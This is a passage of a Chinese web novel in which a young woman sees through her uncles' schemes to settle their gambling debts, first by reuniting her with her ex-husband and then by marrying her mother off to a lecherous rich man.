最后几个字,也不知道是在感谢他请客,还是指责她家如今的状况都是因为云家的人才弄出来的。
看云灵脸上带着笑容,平时也是乖巧听话,不敢忤逆长辈的性子,云家的几人姑且相信她是在高兴有人请客吃饭。
于是,一家人很快就从这拥挤的小房间去了外面的饭店,还特意找了个适合谈话的包间。
价格上真的挺便宜,至少大舅母的脸色从知道要掏钱请客以后,第一次稍微舒展开了一些。
这饭店的人并不多,他们点好的东西没一会儿就已经端上了桌。
看着菜式还算正常,只是摆盘比较朴素,想必味道也很一般。
但坐在这里的,除了云母以外,没有一个是真的为了一顿饭而来的,当然也不会在意这些。
“小妹啊,”看吃得差不多了,云家大舅才叹了口气,“唉,大姐去得早,留下你们母女俩也是命苦啊!只恨我和三弟如今也是泥普萨过河自身难保,竟然帮不到你,我……我对不起你们母女俩啊!”
不只是他,二舅也赶紧灌了一杯酒,涨红着脸说道:“二姐,我对不起你们,那些钱……那些钱我也想还给你的,可我也是被人给骗了。现在,现在还……”
说到一半他就住了口,一副难以启齿的模样。
云母被这兄弟二人的样子吓了一跳,连忙问道:“这是怎么了?你们之前只说缺钱,没说有其他事情啊?别是惹上什么麻烦了吧?”
云母也真的是记吃不记打了。
之前才被这兄弟二人害得家破人亡,现在日子刚刚过得安稳一些,被他们上门一哄,就又挂念起来了。
看那样子,若不是云家已经没了,估计还恨不得掏心掏肺地帮忙呢!
云家的两兄弟没有答话,只愁眉苦脸地看着她。
两个舅母想要开口,却被丈夫瞪了一眼,一脸苦涩地住了嘴。
云母急得不行,想让闺女也开口问问。
转头就发现,这饭桌上只剩下云灵还专心致志地解决着面前的果盘,一点儿也没有被桌上的纷纷扰扰打断。
云母正想斥责几句,又想起这些日子女儿的辛苦,现在好不容易在外面吃顿饭,嘴馋了些也是可以理解的。
她只能眼不见为净,干脆看向了母亲:“妈,大哥和二弟他们这是怎么了?他们不说,您倒是说说啊!”
云家老太太一咬牙,还是开了口:“他们没脸说,还是我来吧!儿啊,你之前给他们的钱,都让这俩败家子拿去外头让人骗进了赌场输光了!别说是钱,家里的房子都快保不住了。还有人说要砍了他们的手呢!”
“天哪!”云母吓了一跳,脸色都发白了,“这,这怎么办?”
云家姥姥摇摇头:“还能怎么办?你现在也困难,就别操心了。我那还有些棺材本,再把家里的东西都变卖了,能还多少就还多少吧。”
若是之前,云母一定直接把卡丢过去了。
但现在连自个儿都还欠着债,生活费和债务全靠女儿累死累活的当服务员挣呢,云母就算有心要帮忙,也没办法开口。
可到底已经关心成了习惯,她没有就此放弃:“那怎么能行?妈,你的钱留着吧。大哥,你们之前开的公司呢?还有房子,应该可以抵押出去从银行贷款,以后做生意还回去就行了啊。”
这还是从云家这次的事情上学到的。
两个舅舅对视了一眼,否决道:“公司早就赔出去了,不够啊……”
他们有个屁的公司,每次找云母要钱,他们都是拿去自己花销了。
反正有个做生意的大姐替他们赚钱,何必自己辛辛苦苦去创业呢?
云母相信他们得很,也从不过问家里的生意,这才让他们一瞒就是这么些年。
之前那笔钱,他们倒没觉得自己用了有什么不好的,还暗地里抱怨云母不该跟大姐吵架。
如果人没有发病死了,说不定能力挽狂澜,他们也就不用担心钱的问题了。
现在可好,没有了赚钱的大姐,让习惯了找人要钱花的他们怎么办?
但好在云母这个姐妹够傻,到现在还愿意为他们担保。
两人犹豫着看了云母一眼,暗中推了推自家媳妇儿。
大舅母和二舅母这才做出为难的样子说道:“倒是有一个办法……”
刚一出口,兄弟二人就连忙一脸气愤地喝止了:“闭嘴!绝对不行!那个法子不好,我们是不会同意的!”
云母被他们吓了一跳,反应过来是怎么回事后连忙追问:“什么办法?有办法就说出来啊,那些赌场的人可不是什么善茬,到时候人没了,就什么都没意义了。”
大舅母一把挣脱了丈夫的手,红着眼睛说道:“小妹,你大哥不说我来说。你……你能不能找以前的朋友借些钱?我们这也是没办法了,我不想看家里人出事啊!你侄子他吓得连班都不敢上,可怜我那小孙孙,好几天做噩梦睡不着觉,都是这俩蠢货给害得,做什么不好偏偏要去赌!”
说着,便和二舅母一起往各自的丈夫胸前锤起了拳头。
云灵这会儿已经把一小碟子水果吃得差不多了,叼着一片儿苹果,津津有味地看着这几人飙戏。
别说,这演技比朋友圈里的那些土味视频里的尬戏还要有技巧。
听听那抑扬顿挫的语气,瞧瞧那恰到好处的红眼和强忍住的泪水,只可惜长相差了些,而且只在骗人上面好使,否则说不定这一桌子就能出来好几个影帝影后了,何愁没有钱花啊!
云母听到他们让自己去借钱,顿时一愣。
她最是好面子了,连把自己喜欢的包包衣服拿去卖了换钱用,也没有朝那些断了联系的“朋友”开过口。
现在让她去找人借钱……
云母唯唯诺诺地看了云灵一眼:“小灵,要不……你问问你的朋友?妈妈那些牌友都是些家庭妇女,自己没经济大权的,估计也借不到什么。倒是你们年轻人都喜欢创业,说不定能想到办法。”
云灵就知道,云母这人,其实就是自私。
为什么能够这样毫无顾忌地做扶弟魔,帮着娘家的兄弟俩,丝毫不觉得困难?
那是因为,其中的苦处都是让别人扛了,她自己根本不用受罪,只需要动动嘴动动手,就能达成所愿。
以前是大姨母养着,现在债务有女儿操心,她最大的艰难就是没以前过得好而已。
一遇到事情,照样是找女儿承担,她是不肯沾染的。
兄弟要帮,多的她自己却不愿意承受了。
果然,要想让她改,还得再加把狠药啊……
见云灵没说话,大舅他们那边静了一瞬间,然后试探着说道:
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“前些天我好像看到杨伟了,他现在过得可不错,娶了一个公司老总的女儿,现在是那家公司的副总呢!进出都开着车,午休的地方都是电梯公寓。虽说离婚这事儿他办得不地道,可他见了我们还提起了小灵,显然是挂念着你的。”
二舅母也跟着道:“这男人啊,有心在,总是能拉回家的。小灵啊,你要不去找杨伟试试?或许趁着这借钱的机会,还能破镜重圆呢。他现在也有了资本,就算离婚和你复合,也不会缺了钱和人脉。你和你母亲也就不用过得这么辛苦了呀!”
云灵听到这儿,总算是明白这些人今天来的目标是谁了。
不是云母,而是借着云母攀上她,或者说,是让她去攀上当了富贵人家小白脸儿的杨伟!
杨伟没有和原本剧情中的那个情人在一起,反而另娶的事情,云灵也有所耳闻。
只要对方不主动凑过来,她再把云母掰回来之前,也没兴趣管他的事情。
但现在看来,仿佛两边要同时进行了?
云母刚听到他们想让云灵去找杨伟借钱的时候,是很不赞同的。
可转念一想,当初云家对杨伟可不薄,现在向他借点儿钱又怎么了?
之前这小两口大难临头各自飞,她也没能阻拦。现在杨伟既然已经从其他渠道得了好处,如果能让他回心转意,她这个岳母也能重新搬回大房子里,不用愁吃愁喝了。
而且,闺女以前不是很喜欢那小子吗?这事儿也不是坏事啊。
至于杨伟这是从其他女人那儿得来的钱,如果有心和云灵复合,说的到底是舍弃现在的副总地位复婚,还是让云灵当见不得光的情人,云母就没有深思了。
或者说,是她不愿意去细想。
她是有母爱的,只是被大姨母这么多年宠惯了,自私的秉性成了习惯。说不出卖女儿的话,就抱着希望云灵真的可以唤回杨伟的感情,重回婚姻的殿堂。
“小灵啊,要不……”
云母的话尚未说完,云灵的手机就响了起来。
她随意瞥了一眼手机屏幕,就站起来一脸歉意地说道:“对不住啊,妈,姥姥。舅舅舅妈,店里忙起来了,让我赶紧回去上班,否则这个月的薪水就要扣了。有什么事我们以后再说,我先走了!”
听到要扣钱,这些日子吃够了苦头的云母本要阻拦的话就是一顿。
还没反应过来,云灵就已经不在包间里了。
她人一走,云家的几人就像是因为这事儿说开了一般,彻底放开了,直接劝说起了云母。
云母也越来越觉得这主意不错。
既能解决了娘家的危机,还能让她们母女俩都摆脱现在的困境,一举两得的好办法啊。
“大哥,二弟,杨伟那边……”
“哎哟小妹,刚才小灵在我们做长辈的也不好细说,我看那杨伟还念着她的好呢,”大舅连忙道,“要不是他有意,我们哪会主动提起这人?也不敢让小灵找他借钱啊!”
他这还真没说谎,就是杨伟主动提起云灵的事情,他们才看到了还赌债的希望,主动找上了现在欠债累累的母女俩,否则还会和之前一样避而不见。
不过,都是男人。
云家大舅可清楚得很。
杨伟那人可没想过要跟现在那个有钱人离婚,找云灵为了什么,他们男人之间心知肚明。
谁让杨伟那个新婚妻子长得一身赘肉,还是个带着拖油瓶的二婚女呢?
家里的老婆是为了钱娶的,自然也就惦记起长得漂亮的前妻了。
恰好,现在一个有钱,一个需要钱……
俩舅舅也没觉得自己在坑外甥女,反而觉得他们这是在帮她重新过上有钱人的好日子。
云母当然不知道这些,她只听到了杨伟主动要跟闺女和好,心里仅剩的那点儿犹豫都消失了,连连保证回去之后一定会劝说女儿同意此事的。
一家人这才皆大欢喜地散了,桌上剩下的饭菜还被大舅母十分“大方慷慨”地打包送给了云母,让她带回家去,也省了几顿饭钱。
云母忘了自己之前给出去的钱可不止这么点儿,也忘了被拒之门外的愤怒,只觉得还是娘家人贴心,在这种情况下还愿意照顾她,一时间更是开怀了。
26. 凤凰男与扶家魔世界
云母倒是已经打定主意了,可那也得云灵愿意给她说服的机会才行。
云灵离开包间后,当然不是去饭店当什么服务员,只是借着一条广告信息离开饭桌而已。
反正该听的也都听了,其它的事情她可不准备按照那些人说的来办。
至于云母这人会做出什么事情,云灵用脚趾头都能想出来。
当天,云灵就以加班时间太晚,为了方便第二天的早班,在员工宿舍住宿为借口,没有回家。
云母倒也没觉得奇怪。
这女儿一直很省吃俭用,为了那几块钱的公交费都愿意走很长的路。
大晚上的一个人走回来的确不安全,坐车又太贵了,有这样的决定并不奇怪。
她准备第二天直接去饭店找云灵。
云母也的确是这么做的。
她见到云灵的时候,就看到自家从小没做过什么重活的女儿穿着那身不太体面的服务员制服,皱着眉头脸色发白地靠在柱子边休息。
见到她来,才打起精神站直了些:“妈,你怎么来了?我在外面喘口气就要进去上班了,你还是先回去吧。我们这边这两天很忙,要等很久的。”
云母看了看她的脸色,担心地问道:“你这是怎么了?生病了吗?要不请个假去医院看看吧。”
云灵虚弱地摇了摇头:“不行。昨天我看你那样子以为家里有急事,特意请了假回去。现在经理不让请假了,否则前些天的活我就白干了。妈,我就是太累了,歇歇就好,你别担心。快回去,在外头人来人往地站着也不方便,累病了可怎么办?”
见她病成这样还要勉强和自己说话,云母那些劝导这会儿哪能说得出口?
而且,她也的确不想站在这饭店门口当门神,万一被熟人看到了……
云母赶紧道:“那我就先回去了。小灵,真受不了就请假休息,别把身体熬坏了。你回家之后,妈有事跟你说。”
又嘱托了几句,她才匆匆离开。
云母一走,就有不明真相的女孩关心问道:“你还好吧?”
云灵站起身,哪还有之前虚弱的模样?她揉了揉肚子:“没事,昨天一不小心吃撑到了,只是现在还没消化……”
云母回到家后,便开始坐在窄小的客厅里,仔细思考着晚上女儿回来以后,她该怎么组织语言,才能说服女儿去跟女婿和好。
都是一家人,何必计较那么多呢?
她现在对未来充满了希望,好像很快就能摆脱现在的困境,重新成为养尊处优的贵妇了……
几天后,出租房的门忽然被人从外面敲响了。
云母连忙开了门:“二弟,你们怎么来了?”
门外站着的可不就是云家的兄弟俩吗?
大概是从上一次的事情上试探出了云母的态度,知道她在面对娘家人时有多宽容,所以这次连云家姥姥和两位舅母都没有跟来了。
两人倒也不客气,直接进了屋子坐下。
“怎么了这是?”云母看他们的模样有异,疑惑地问道,“是赌场的人又去找你们麻烦了吗?你们直接说过些日子肯定还,再加些利息啊。”
云家老大摇摇头:“不是这个,小妹,杨伟那边……估计联系不上了。”
“为什么?”
云母前一刻还在幻想着美好的生活,现在突然被人告知梦想破灭,语气都跟着变了。
云家老二说道:“他那个新婚老婆也不知从哪儿听说了小灵的事情,现在看人看得很严。而且他现在的岳父家里在道上有人,杨伟就算有心复合,也不敢出来了。”
何止是这样?
知道杨伟娶了自家女儿还敢在外头乱来,那位脾气不好的岳父,直接就找人去把杨伟养在外头的那个情人打了一顿,才刚怀上一个多月的胎都没了。已经几岁大的儿子也被带走,送给了一家无儿无女的人收养。
那女人直接被一身伤的弄去了外地,恐怕再也不敢回来。
杨伟更是一条腿骨折。
若不是那个新老婆还看上了他的脸,护住了一条命,估计这会儿就不只是去医院住着了。
云家兄弟俩前几天回去就听说了这事情,战战兢兢的就怕那位脾气暴躁的老板找云灵的麻烦。
他们倒不是关心外甥女的安危,而是害怕自家被连坐啊!
所以,想也不想地就放弃了杨伟许诺的好处,再也不敢撮合两人了。
更何况……
他们还得到了一个意外的惊喜。
云母听到对方道上有人,哪怕并不知道曾勇如今的惨状,也心有惴惴。
美梦是不可能成真了,哪怕是对着她一贯信任的兄弟,云母都有些生气:“你们怎么不早点儿打听清楚,让我白白的高兴了一场,还以为能回……能让女儿跟她喜欢的人复婚。还好没来得及跟小灵说,不然她多失望?”
云家兄弟俩吓出一身冷汗,连忙道:“别别!万一那些人对付小灵怎么办?她好好的一个年轻姑娘,以后总会遇上新的人,还是别去跟杨伟这个有妇之夫扯上关系了。”
他们之前和杨伟练习过,还提前收了一点点好处,剩下的等事成以后再拿。
说不定,这些人家大老板都是知道的。
再让外甥女去搅和,他们不是都要受罪?
杨伟断了一条腿还能活着,还得亏了一张好脸。
他们可没有大老板的女儿爱慕!
再说了,云灵那里行不通,这不是又有了新的转机吗?
两人悄悄对视了一眼,看向了云母。
云母倒也没有真的到想要伤害女儿的地步,被这么一劝立刻就打消了主意。
杨伟虽还不错,可岳父是个狠角色,她和闺女还没到拿命去拼的地步。
“那大哥,你们这是来……”云母疑惑地看向了两个兄弟。
这事情,在电话里说一声不就行了吗,怎么还特意上门来了?
难道是知道她现在过得不好,所以按时过来照看一二?
云母难得享受到来自亲人这温情的关爱,顿时觉得这碍眼的小房子都没之前那么破旧了。
谁知,云家老大支支吾吾了一会儿,却突然说道:“那个,大妹,你年纪也不算大,有心思找一个吗?”
云母一愣,她对自家兄弟向来是印象极好的,哪怕前头因为钱的事儿闹成那样,都没真的气恼到不与他们来往的地步,被问起这样的问题,尽管有些不好意思与亲兄弟谈论这样的事儿,却还是开口道:“我没心情谈这些。现在还是和小灵一起,先把债还清了再说吧。”
云家老大赶紧道:“这是当然,这是当然,可是,日子还得朝前看啊。如今大姐走了,你和外甥女孤儿寡母的,我们哪里放心的下!”
云老幺而紧跟大哥的步伐:“就是啊,我说姐你也先别推辞,试着处处呗!我和大哥认识了个大老板,家里条件可好了!虽说离了两次婚,年纪也大了,但没有孩子,现在就想娶个漂亮的老婆生个儿子继承家业。姐你一过去就是当家太太,连债务都不用愁,
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外甥女也不用去外面丢人现眼地打零工。万一那老头儿一不小心挂了,你继承的财产更多,这还不好吗?”
这云家弟弟从出生起就是被家里人宠着长大的。
他还是个带把的儿子,加上云母这个姐姐也被养得对兄弟俩一心一意地“奉献”,他自然从不会收敛什么脾气,说起话来也不如老大那么委婉。
对外人尚且如此,在云母这个从来不会拒绝他的姐姐面前,就更不懂什么叫客气了。
他那态度,就差没直接把人送过去结婚了,一张看到好处的脸意图摆得明明白白。
平时这么跟别人说话,云母还能说他是直肠子,率真。
可现在云母的脸都被气白了。
她在家里的事情上不太着调,老是被他们牵着鼻子走。
之前被几人说动了心,想撮合云灵和杨伟,除了不想再过现在的生活,也有一部分原因是心疼闺女还债辛苦,而且从前的女儿也的确喜欢杨伟。
现在,她被娘家人明里暗里逼着再嫁,对方还是个老头子,他们甚至看中的是人家的钱。
辛苦工作养家的女儿被他们说是丢人现眼。
就算云母也觉得服务员的身份不太高端,但不代表她喜欢听别人这么说自家闺女。
“别说了!”云母头一回在他们面前硬起了脾气,“出去!”
“哎哎哎,这是发什么脾气?”云老幺被她这语气弄得还有些不高兴了,“我们可是为了你好,要不是你长得漂亮,人家还不愿意呢。我跟你说,姐,好歹也是几十岁的人了,别那么倔……”
他话还没说完,就被云老大一把拉住了。
他可比这个弟弟会看脸色多了,温和道:“小妹,你这弟弟从小不会说话,你别跟他置气。但话糙理不糙。哥哥我不会害你,那位先生人不错,大气得很,还说过会待小灵如同亲生。你就算不为自己想想,也得为闺女考虑一下,对不?她长这么大没受过委屈,现在却要去给人家端盘子洗碗,还跟杨伟离了婚……唉,也是可怜啊……”
云母果然就是一愣。
可很快还是冷了脸色,将二人赶了出去。
等到那兄弟二人都走了以后,云母坐在沙发上捂着脸哭了好一通。
丁母哭完了以后,又忍不住想到了以后。
她真的要继续住在这个地方吗?真的要眼睁睁地看着从小富养着长大的女儿过上那样落魄的日子吗?
云灵回来的时候,云母甚至都还没回过神来。
“妈,你这是怎么了?”
云母见了云灵那关心的眼神,心里更加委屈,眼圈发红地说道:“小灵啊,你……你是不是觉得现在的日子很累?”
云灵坐了下来,低头沉默了一会儿,才说道:“累是累了些,可这也是没办法。妈,你别多想,有我在呢!虽然我不能像大姨母那样让你过上好日子,可至少不会短了你的吃喝。你安心在家待着,没事去外头逛逛也好,不用操心其它事。”
云灵越是这样说,云母心里越是难受,便忍不住想到,或许还是可以试一试的。
万一成了呢?或许那人也没想象中差。大哥他们总是不会坑自家人的吧。
再这么下去也不是办法……
云母勉强对云灵笑了笑:“没事,小灵啊……妈……算了,过两天妈有事跟你说,现在你先去睡吧。”
云灵把这一家子看得很清楚,立刻明白过来她做了什么决定。
暗自摇了摇头,她道了一声晚安,便洗漱去了。
27. 凤凰男与扶家魔世界
云母想了一晚上,还是决定去和那人见上一面。
现在的有钱人很会保养,看上去不一定显老,而且年纪大一些也体贴人,还能帮一帮她和女儿。
云母努力说服了自己,好歹也要试一试,这才联系了云家两个兄弟,把自己的想法说了。
那两兄弟早就等着该怎么说服她,一听云母有了动摇的念头,哪里会耽搁?当即就约好了见面的时间,甚至说对方已经包下了地方请她和云灵吃顿饭见个面。
那地方云母自然也是去过的。
要价不低,还得提前预约。
对方能定在那里见面,可见的确不是什么穷人,而且对她也足够重视。
云母心里总算是稍微放松了些,等云灵一回来,就把这事儿说出了口。
云灵看了看有些忐忑的云母,她说道:“妈,我陪你去。我知道你是为了我们这个家好,但是,如果见了面之后,那个人你不喜欢,我们就走,好吗?我会好好工作的,还债的事情慢慢来,不急,不需要你牺牲以后的幸福。”
云母心头一暖,眼角发热,点了点头道:“好,妈知道的。时间已经晚了,早些休息吧!”
说完后,就匆匆地回了屋子,显然不想在女儿面前落泪。
比起刚离开云家的小洋房时走几步路都会累得想哭,现在她已经学会了忍耐。
云灵见云母回房后,无奈地叹了口气。
让云母生活无忧她自然能在神祇宝典的帮助下做到,但只要不改了云母的老毛病,她就算有再多的产业,也不够云家那胃口越来越大的兄弟俩败的。
更何况,云灵也不愿意用自己赚来的钱去填云家的坑,更不想让大姨母的死就这样没有意义地掩盖过去。
所以,钱,她是没有的,今天的她,依旧是打工还债的服务员。
云灵站起身来,慢条斯理地走向了洗漱间。
约好的见面时间很快就到了。
云灵特意“请了假”,回家来陪云母去赴约。
母女俩现在也没什么钱去捯饬新上架的款式,但好在以前的衣服还是能撑一下场面的。
洗洗干净,又拿去熨烫平整,收拾起来后走出家门,倒还真看不出来什么寒酸气。
原主的皮相是很不错的,生下了这个女儿的云母当然年轻时也是个十分美丽的女人。这么些年养尊处优,哪怕是生活水平突降,比从前多了些憔悴,但也难掩其姿色。
穿着这样的衣服,总不好去挤公交车,否则好不容易收拾妥帖的布料,一下车就要变成泡菜版了。
云灵主动开口坐出租车过去。
云母却犹豫着说道:“这里离吃饭的地方太远了,坐车恐怕要比市区贵好几十块呢!要不,我们还是走一段路再说吧。”
换作以前,她绝对想不到自己会因为这点儿钱不愿意坐出租车。
就算是刚破产那会儿,云母也是走一段路就要嫌弃脚疼的性子。
可现在,不用云灵提,云母就已经知道省钱了。
云灵笑眯眯地挽着云母的胳膊:“妈,我天天挤公交车上班,难得奢侈一回还不行吗?再说了,咱们可不能满头大汗地去赴约,那也太失礼了。”
云母被她的理由搅得没话反驳,只能安心坐到了出租车上。
感觉到车里空调的凉气,她难得有了些享受的愉悦。
以前生活条件太好,这些点点滴滴的小事情,反而让她体会不到什么需要珍惜的美好。
倒是现在一无所有,连出门坐趟车都觉得幸福了。
出租车比公交车的速度快上许多,在离约定好的时间还有十多分钟的时候,她们俩就抵达了目的地。
从饭店大厅的落地窗前,可以看到她们身上的装扮依旧完美,并没有出现什么凌乱邋遢的痕迹。
想到进去后会发生什么,云母有些紧张地捏了捏掌心。
云灵便也陪着她在饭店门口站住,体贴地安抚:“妈,你不用担心,你这么漂亮,该担心的应该是里面的人才对。”
云母被女儿的话逗得一乐,倒是缓解了之前的情绪,深吸了一口气,带着云灵走进了饭店的大门。
有服务员很快迎了上来,听她们报了包间号,连忙在旁边引路,将她们带了过去。
还没走近,就见一个人站在包间外四处张望着。
瞧见母女俩,那人面上一喜,赶紧几步跑了过来:“小妹,你们怎么才来。快,陈老板都已经到了好一会儿了!”
说着,就要带着她们赶紧进屋。
云灵撇开了大舅要伸过来的手,语气自然地说道:“这不是还没到定好的时间吗?我妈又不是送上门去的礼物,大舅你有什么好急的?”
云母本来听到对方已经在了,被大哥的话说得有些担忧。
但一听到云灵的话,就停下了加快的脚步。
闺女说的没错,她们又没迟到,用不着表现得那么急切吧。她好歹也是个女人,矜持点儿又怎么了,可不能就这么急吼吼地敢上门去,无端地掉了身价。
云老大被说得一噎,要不是这事儿还没成,他真想好好说说这个不给面子的外甥女。
但他不是被宠坏的弟弟,很快就调整好了表情,笑着说道:“是我急了些,小妹,小灵,来来,就这个包间,外头是不是很热?包间里有空调,还点好了饮料,咱们进去吧。”
一进门,云母的目光便不由自主地落在了云家老幺身边的男人身上。
才刚一见面,她的心中便涌起了一丝失望。
他并不英俊,年龄至少五六十岁,头发花白,前额秃了一大块,几缕头发勉强覆盖,却遮不住那片敞亮的头皮。
或许是啫喱抹得太多,那头发显得油腻腻的,给人一种不清爽的感觉。
尽管云母知道对方年纪比自己大,心中有所准备,但这样的形象实在难以让她心生欢喜。
更让人难以接受的是,那人似乎毫无自觉,身材发福,衣着夸张,整个人显得愈发油腻。
这样的形象,甚至不及云家以前的司机来得体面!
但既然来了,总不能一句话不说就转身离去。
万一这人的心性不错呢?
云母也明白,自己已不再是少女,加上境况窘迫,怎能只挑剔人家的长相?
于是,她还是坐了下来。
原本是隔着一个位置,中间坐着她的亲弟。
毕竟是初次见面,彼此不熟悉,她一个女人家也不太放得开,这样坐着心里也踏实些。
然而,云老幺突然站起身,换了个位置,乐呵呵地对那老板说道:“陈老板,这就是我姐。瞧瞧,长得好看吧?我可没骗你!”
这话若是跟熟悉的人调侃倒也无妨,但明明是第一次接触,就这样一副急不可耐的样子,未免显得吃相难看。
即便是一向忍让兄弟的云母,脸色也有些难看了,心里既尴尬又屈辱,总觉得弟弟的话有些刺耳。
陈老板却已经移了个位置,坐在了云老幺刚才坐的地方,这下子就和云母挨在了一起。
听了那话,他立刻笑道:“当然,当然!是漂亮。”
说完,还转过头来跟云母说话:“这个……大妹子,大哥我没啥文化,但心眼儿实诚!有什么话就直说,有得罪了你的地方尽管提出来,我保证改,绝对不会生气!”
他的话语直接,云母倒是稍微放松了些。
但一看到对方的眼神,她原本正要和缓下来的脸色瞬间阴沉了下来。
这老头子,不仅用那种腻味的眼神在她身上打量,还偷偷地越过她的位置去看她的女儿!
别看云母这些年没怎么在外走动,年轻时长得漂亮,家里条件也不好,对这些男人的眼神十分敏感。
这陈老板自以为掩饰得好,但那种让人恶心的视线云母怎么会看不出来?
他老是往她身上的某些
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部位打量也就算了,她只当这人想娶老婆想得急,一时间失了分寸,心里反感却也无法撕破脸皮。但连带着瞧她女儿,这就踩到了云母的底线。
她最近和云灵的感情正处于上升期,甚至比从前还要亲密一些,总算有了点母女的样子。
今日更是被云灵特意引导出了几分母亲的怜爱。
现在发现女儿被占了便宜,她哪里还能忍得住?当即站起身来,一把攥住了云灵的手腕:“既然是这样,我就直接说了。我对这事儿没意思,今天过来也就是说一声,陈老板你不生气的话,我和女儿还有事就先走一步了。你们慢慢吃。”
再坐下去,她怕自己会忍不住把桌上的杯子都砸到那色老头的脑门上!
陈老板被拂了面子,脸上的笑容一下子僵住。
他还没来得及开口,云家的两兄弟就已经率先出头了。
要说他们知不知道这位陈老板的心思,那当然是知道的。哪怕是一开始不清楚,刚才那种眼神,连云母都能察觉到,更何况是他们?
但是,两人并不觉得这有什么问题。
在他们看来,云母和云灵也都不是啥黄花大闺女了,人家看一眼怎么了?要不是长得漂亮,人家大老板还不乐意瞧呢!
再说了,陈老板要娶的是云母,对云灵这继女也就是刚见面瞧着漂亮看了几眼,还真能做出些事情来?
忍一忍就过了,有什么好计较的。
至于陈老板的模样,那就更不用在意了。
他们就是冲着这位的钱去的,长得好不好,年龄多大,又有什么关系。
说到底,要承担风险的是云母,他们只负责牵线达成此事,就能还清赌债,还可以多赚上一笔辛苦费,哪会考虑这么多。
“小妹,这饭菜都还没吃呢,怎么能走?”云老大就坐在靠外围的位置,一个起身就拦住了母女俩,“我们三个也吃不完。人陈老板诚心诚意地放下正事过来见个面,总归要聊聊才能了解嘛,用得着这么早就下结论?”
说完后,云老大又特意压低了声音道:“你就当给哥一个面子,别让我得罪了人家行不?”
他难得低声下气,又言辞恳切地望着云母。
连另一边已经站起来的云老幺也看着她,像是在恳求她留一留。
云母这些年帮他们已经成了本能,这会儿被兄弟两个一求,又忍不住有些心软了。
好歹还有自家兄弟守着,这陈老板也做不了啥事。
人也是她兄弟请过来的,她一走了之,万一……
想到这兄弟俩现在的处境本就艰难,云母心里叹了一口气,又坐了下来:“吃完饭我就走,我和小灵真的还有事。”
陈老板见她坐下,面色才稍微缓和了下来。
听云母提起余淼,连忙挤出笑:“原来这丫头叫小灵?坐坐坐,有什么事就跟叔叔说啊,保证不叫你为难。这么漂亮的小丫头,就该享福的,哪能忙得连饭都顾不上吃呢?”
说完后,还想伸手越过云母的椅背去拍拍云灵。
看似要表现出自己的慈祥宽和,实际上就是个咸猪蹄,想趁机占占便宜。
云灵从进了包间后就很收敛,不管是云母要离开,还是重新坐下,她都没有发表任何意见。
加上长得好,看着就是个温顺乖巧的小姑娘。
陈老板愿意当冤大头帮云家兄弟还债,还不就是因为看过云母的照片,想得个美娇娘。
谁知这位漂亮的美娇娘还能买一送一,身后跟了个比她更年轻貌美的女儿!
陈老板在这圈子的名声可不咋地,母女全收的事儿他也不是做不出来。
大不了就再多给些好处费嘛!
这会儿,哪怕是云家兄弟俩在场,他都没有收敛的意思,显然根本不觉得见钱眼开的两人会阻止他。
云母就更不被他忌惮了,不过是个要到手的女人,发发小脾气是情趣,还敢跟他对着干不成?
28. 凤凰男与扶家魔世界
陈老板伸出手时,心中充满了自信,甚至已经在幻想着未来左拥右抱的美好生活。
但这种美梦很快就被一阵剧痛击碎了。
“啊啊啊!”
他忍不住发出了一阵痛呼,原本志得意满的脸上瞬间涨红,就连眼睛都一下子被疼痛刺激出了泪水。
云灵的两根手指压在他的手腕间,看上去也没用什么力度,但陈老板的反应显然说明情况并不像表面那么简单。
云家的两个兄弟被这一幕吓了一跳,怎么也没想到看上去文文静静的外甥女一言不合就开始动手了。
就连刚想伸手去阻拦陈老板的云母也是一愣。
不等他们说话,云灵已经轻描淡写地收回了手,笑着说道:“不好意思,看到有人伸手就忍不住,毕竟女孩子在外是要警惕一些的。陈老板,你说是不是?”
感觉自己的手都快断掉了的陈老板张嘴就想骂人。
就算这丫头长得好看,他也不准备就此饶过。
可是,刚要开口,他就对上了一双黑幽幽的眼睛。
这女人明明是笑着的,可眼神里却透着十足的冷意,盯着他的样子就像是在看一块待宰的肥肉。
以往那些看上他的钱,总想从他身上赚些好处的女人,陈老板可没少见过。
但那种宰人和现在的这种完全不同。
人家要的是钱,这位要的却好像是他的命!
眼前这个云灵眼神里的冷寂,就像从尸山血海杀出来的那种冷意,让他忍不住哆嗦了一下,连屁股都反射性地朝后缩了一截,差点儿跌下了椅子。
“陈老板,你没事吧?”云家老大的声音唤回了他的神智,“小灵,你太过分了,怎么能随便打人呢?你的家教去哪儿了!”
陈老板再往云灵的方向看去,却发现刚才的一幕就如同幻觉一般,哪有什么冷冰冰的视线?
这女人太邪门儿了!
他的确没什么文化,可做生意到这个地步,也不完全是个蠢的。
本来对云母和云灵的兴趣不少,还想着母女都收了。
可现在,他只觉得胆寒。
就算知道对方不过是破产的贫困户,可能根本拿他没什么办法,但他依旧不准备冒这个险。
年纪大了,还是稳妥点儿好。
他有钱,要什么女人不行?只要愿意,那些漂亮性感的年轻女人有大把的主动送上门来,何必去给自己找麻烦呢?
现在有的女人狠起来,连男人都怕!
手上疼是疼了点儿,总比被人害了命强。
他原以为这顿饭是双方心知肚明的交易,没想到人家女的根本就不愿意,显然是被那兄弟俩给糊弄过来了。
陈老板呼地一下站了起来,拿放在桌上的餐巾胡乱抹了一下额头上的冷汗:“我下午还有一个合作要谈,就先走一步了。你们慢慢吃,这顿饭记在我的账上,秘书会结单的。”
说完后,就以和他发胖的外表截然不符的速度,飞快地离开了包间。
云老大甚至还来不及起身阻止,包间的门就已经关上了。
金主一走,意味着这顿饭的目的不能达成了,云家兄弟俩顿时变了脸色,齐刷刷地朝着对面的母女俩看来。
“小妹,小灵现在真是越来越不像话了!一个女孩子怎么能这么暴力!人家好心请客吃饭,你们倒是好了,把人给打跑了,”别说是老幺了,就连之前维系着面子情的云老大此时都忍不住放重了语气,“大姐一走,她这教养也跟着没了吗?”
云老幺更是直接叫嚷出来:“好好的相亲被你们给搅和了。不是黑着脸要走,就是直接动手,你们还真当自己和以前一样,能让人捧着啊!要不是长得好,人家陈老板连看都不想看一眼的。现在把人给气走了,你们还个屁的债!”
云母被他们说得面色铁青。
不是因为女儿的行为,而是这兄弟两人的表现!
外甥女差点儿被人占了便宜,这两个当舅舅的不帮忙也就算了,竟然骂起她闺女来了。
云母从前一直觉得娘家人比谁都可靠,所以才会一直帮忙,就想着万一有一天出了事,她也有个依靠。
可从云家破产以来,她从前笃信的一切就如同镜花水月,被一一打碎了。
云灵出现在这里不过是为了推动事情的发展,可没打算忍气吞声。
被人指着鼻子骂了,她要是不反击,那还真就不是她云灵了。
